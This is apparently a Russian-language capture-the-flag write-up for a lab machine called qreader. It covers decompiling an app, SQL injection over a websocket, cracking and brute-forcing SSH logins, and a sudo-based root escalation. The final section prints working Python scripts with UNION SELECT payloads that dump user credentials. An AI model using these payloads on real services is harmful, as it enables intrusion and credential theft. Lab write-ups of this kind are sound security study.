    <img src="https://img4.teletype.in/files/ba/28/ba28cfce-be9b-4873-88ea-95d69c1e200d.png" width="1918" />
  </figure>
  <p id="W3bI">В конце страницы нам предлагается скачать приложение. Давайте так и поступим.</p>
  <h2 id="xk3E">Точка входа</h2>
  <p id="Nyee">Скачался архив. Распаковав его, получаем картинку и исполняемый файл:</p>
  <figure id="ZfSr" class="m_column">
    <img src="https://img3.teletype.in/files/28/13/2813f020-c5a8-4615-a39e-c3009bfde7aa.png" width="446" />
  </figure>
  <p id="9xCk">Теперь нам нужно его каким-то образом изучить. Я пытался использовать Ghidra, но ничего путного не нашел.</p>
  <p id="mAbC">Поскольку это двоичный ELF файл, то предлагаю его декомпилировать с помощью <strong><a href="https://github.com/extremecoders-re/pyinstxtractor" target="_blank">pyinstxtractor</a></strong></p>
  <figure id="C75g" class="m_column">
    <img src="https://img1.teletype.in/files/03/f2/03f2f314-c2b6-4bd2-8dcf-fb741245f570.png" width="889" />
  </figure>
  <p id="20n6">В папке qreader_extracted появился файл qreader.pyc. Теперь нужно его превратить в qreader.py с помощью <a href="https://pypi.org/project/uncompyle6/" target="_blank">uncompyle6</a></p>
  <p id="8c4V">В итоге, мы получаем такой вот результат:</p>
  <figure id="QG0F" class="m_column">
    <img src="https://img4.teletype.in/files/ff/63/ff636f4a-74d0-4c3c-b6ad-95b60bcfefc9.webp" width="720" />
  </figure>
  <p id="WXEb">Как мы видим, параметр &#x27;version&#x27; может быть уязвим для SQLi.</p>
  <p id="dQoA">Давайте напишем простой скрипт для проверки данной теории:</p>
  <figure id="QkGE" class="m_column">
    <img src="https://img4.teletype.in/files/fd/68/fd68e323-3100-4e68-a2dd-388fbe5a60a2.png" width="750" />
  </figure>
  <p id="9Csy">Я пробовал версию 0.0.1, 0.0.2, 0.0.3 и т.д. Если версия &gt; 0.0.2, то возникает ошибка. Поэтому, работаем с ней. По результатам мы получили 4 столбца. </p>
  <p id="7nXZ">Теперь давайте узнаем версию БД:</p>
  <figure id="CpRv" class="m_column">
    <img src="https://img3.teletype.in/files/2a/79/2a79b30a-c63d-48e0-9666-2a334f67cdf5.png" width="751" />
  </figure>
  <p id="Ynfj">Получена версия sqlite 3.37.2. Отлично. У нас уязвим первый столбец. Теперь давайте видоизменим скрипт для получения логина:</p>
  <figure id="Y6I5" class="m_column">
    <img src="https://img2.teletype.in/files/de/c2/dec2c97b-1c2b-471e-90c4-fb3b198d39f5.png" width="1023" />
  </figure>
  <p id="fpGC">Логин успешно получен. Делаем те же действия для получения пароля:</p>
  <figure id="Hiib" class="m_column">
    <img src="https://img4.teletype.in/files/79/e1/79e1f12f-e6ac-43ec-a862-8545e412e12f.png" width="1025" />
  </figure>
  <p id="PoCO">Пароль тоже получен. Теперь у нас появилась проблема с логином- где он? Это имя и фамилия? Или что?</p>
  <p id="Xq5U">Давайте воспользуемся <a href="https://github.com/procamora/username_generator" target="_blank">username генератором</a>:</p>
  <figure id="wypl" class="m_column">
    <img src="https://img1.teletype.in/files/0f/5d/0f5d501a-43a8-408a-a5f6-7875b834c7f3.png" width="906" />
  </figure>
  <p id="BnQz">Теперь, предварительно декриптнув хэш пароля и закинув его в текстовый файлик, воспользуемся Hydra:</p>
  <figure id="pd1X" class="m_column">
    <img src="https://img3.teletype.in/files/28/a8/28a8a97b-21d9-4769-940e-9e06d9f9c0c1.png" width="991" />
  </figure>
  <p id="qSiF">Подключаемся через SSH и лутаем user flag:</p>
  <figure id="Yo7i" class="m_column">
    <img src="https://img3.teletype.in/files/a6/61/a66141fb-418f-44c8-803f-9429a93c564c.png" width="984" />
  </figure>
  <h2 id="GF1L">Эскалация привилегий </h2>
  <p id="ofX2">Сначала давайте посмотрим наши права через sudo -l:</p>
  <figure id="nzhL" class="m_column">
    <img src="https://img4.teletype.in/files/7e/73/7e738782-c96d-4fd8-9379-26b97993d187.png" width="1025" />
  </figure>
  <p id="FUxQ">Так как мы можем исполнять файл build-installer.sh от имени root&#x27;a, то предлагаю воспользоваться этим.</p>
  <p id="hpHV">Исследовав build-installer.sh, мы находим такую строку:</p>
  <figure id="udCO" class="m_column">
    <img src="https://img1.teletype.in/files/8a/da/8adaf5a2-c7ed-4fe1-a2d0-9b3de9ea7303.png" width="1025" />
  </figure>
  <p id="oNnr">Соответственно, нужно выполнить команду &quot;make&quot; для файла с расширением .py.</p>
  <p id="9s5J">Давайте так и поступим:</p>
  <figure id="L40d" class="m_column">
    <img src="https://img3.teletype.in/files/69/9b/699b4f22-d304-4d88-92f9-d41d3895300c.png" width="604" />
  </figure>
  <p id="q1SX">Теперь прописываем sudo -s:</p>
  <figure id="704m" class="m_column">
    <img src="https://img1.teletype.in/files/05/66/05668e4a-f00f-44e4-9ce0-511f767ffa0a.png" width="614" />
  </figure>
  <p id="8iit">Как мы видим, мы не можем получить оболочку от имени рута.</p>
  <p id="OF66">Давайте пойдем по другому пути и условию в изначальном коде:</p>
  <figure id="foCj" class="m_column">
    <img src="https://img4.teletype.in/files/b9/22/b92273d5-d3af-4736-8ba9-7e4837d1daba.png" width="561" />
  </figure>
  <p id="MKS2">В данном условии расширение файла должно быть .spec и комана &quot;bulid&quot;.</p>
  <p id="Ycl9">Проделаем то же:</p>
  <figure id="9dkZ" class="m_column">
    <img src="https://img3.teletype.in/files/a3/43/a343358c-edec-4d52-bdc7-16347234fb88.png" width="593" />
  </figure>
  <p id="GoH8">Все успешно получилось и рут флаг взят!</p>
  <p id="uvkc">Всем добра!</p>
  <h2 id="7TNO">Использованные скрипты</h2>
  <p id="GvIq">Версия:</p>
  <p id="QcWg"><code>from websocket import create_connection<br />import websocket<br />import json</code></p>
  <p id="jKq7"><code>ws_host = &#x27;ws://qreader.htb:5789/version&#x27;</code></p>
  <p id="ChC3"><code>ws = create_connection(ws_host)</code></p>
  <p id="vP3M"><code>item = &#x27;0.0.2&quot; UNION SELECT sqlite_version(),NULL,NULL,NULL;— -&#x27;<br />json_query = {&#x27;version&#x27;:item}<br />ws.send(json.dumps(json_query))<br />result = ws.recv()<br />print(result)<br />ws.close()</code></p>
  <p id="bvcD">Логин:</p>
  <p id="oNd7"><code>from websocket import create_connection<br />import json</code></p>
  <p id="W7xd"><code>ws_host = &#x27;ws://qreader.htb:5789&#x27;</code></p>
  <p id="nto9"><code>VERSION = &#x27;0.0.2&quot; UNION SELECT group_concat(answer),&quot;2&quot;,&quot;3&quot;,&quot;4&quot; FROM answers;-- -&#x27;</code></p>
  <p id="Exue"><code>ws = create_connection(ws_host + &#x27;/version&#x27;)<br />ws.send(json.dumps({&#x27;version&#x27;: VERSION}))<br />result = ws.recv()<br />print(result)<br />ws.close()</code><br /></p>
  <p id="joN1">Пароль:</p>
  <p id="NNRr"><code>from websocket import create_connection<br />import json</code></p>
  <p id="nEZI"><code>ws_host = &#x27;ws://qreader.htb:5789&#x27;</code></p>
  <p id="wstf"><code>VERSION = &#x27;0.0.2&quot; UNION SELECT username,password,&quot;3&quot;,&quot;4&quot; from users;-- -&#x27;</code></p>
  <p id="Pbec"><code>ws = create_connection(ws_host + &#x27;/version&#x27;)<br />ws.send(json.dumps({&#x27;version&#x27;: VERSION}))<br />result = ws.recv()<br />print(result)<br />ws.close()</code><br />              </p>
  <p id="FYqD">НАШ ТГ КАНАЛ: <a href="https://t.me/hackerblog" target="_blank">https://t.me/hackerblog</a></p>

]]></content:encoded></item></channel></rss>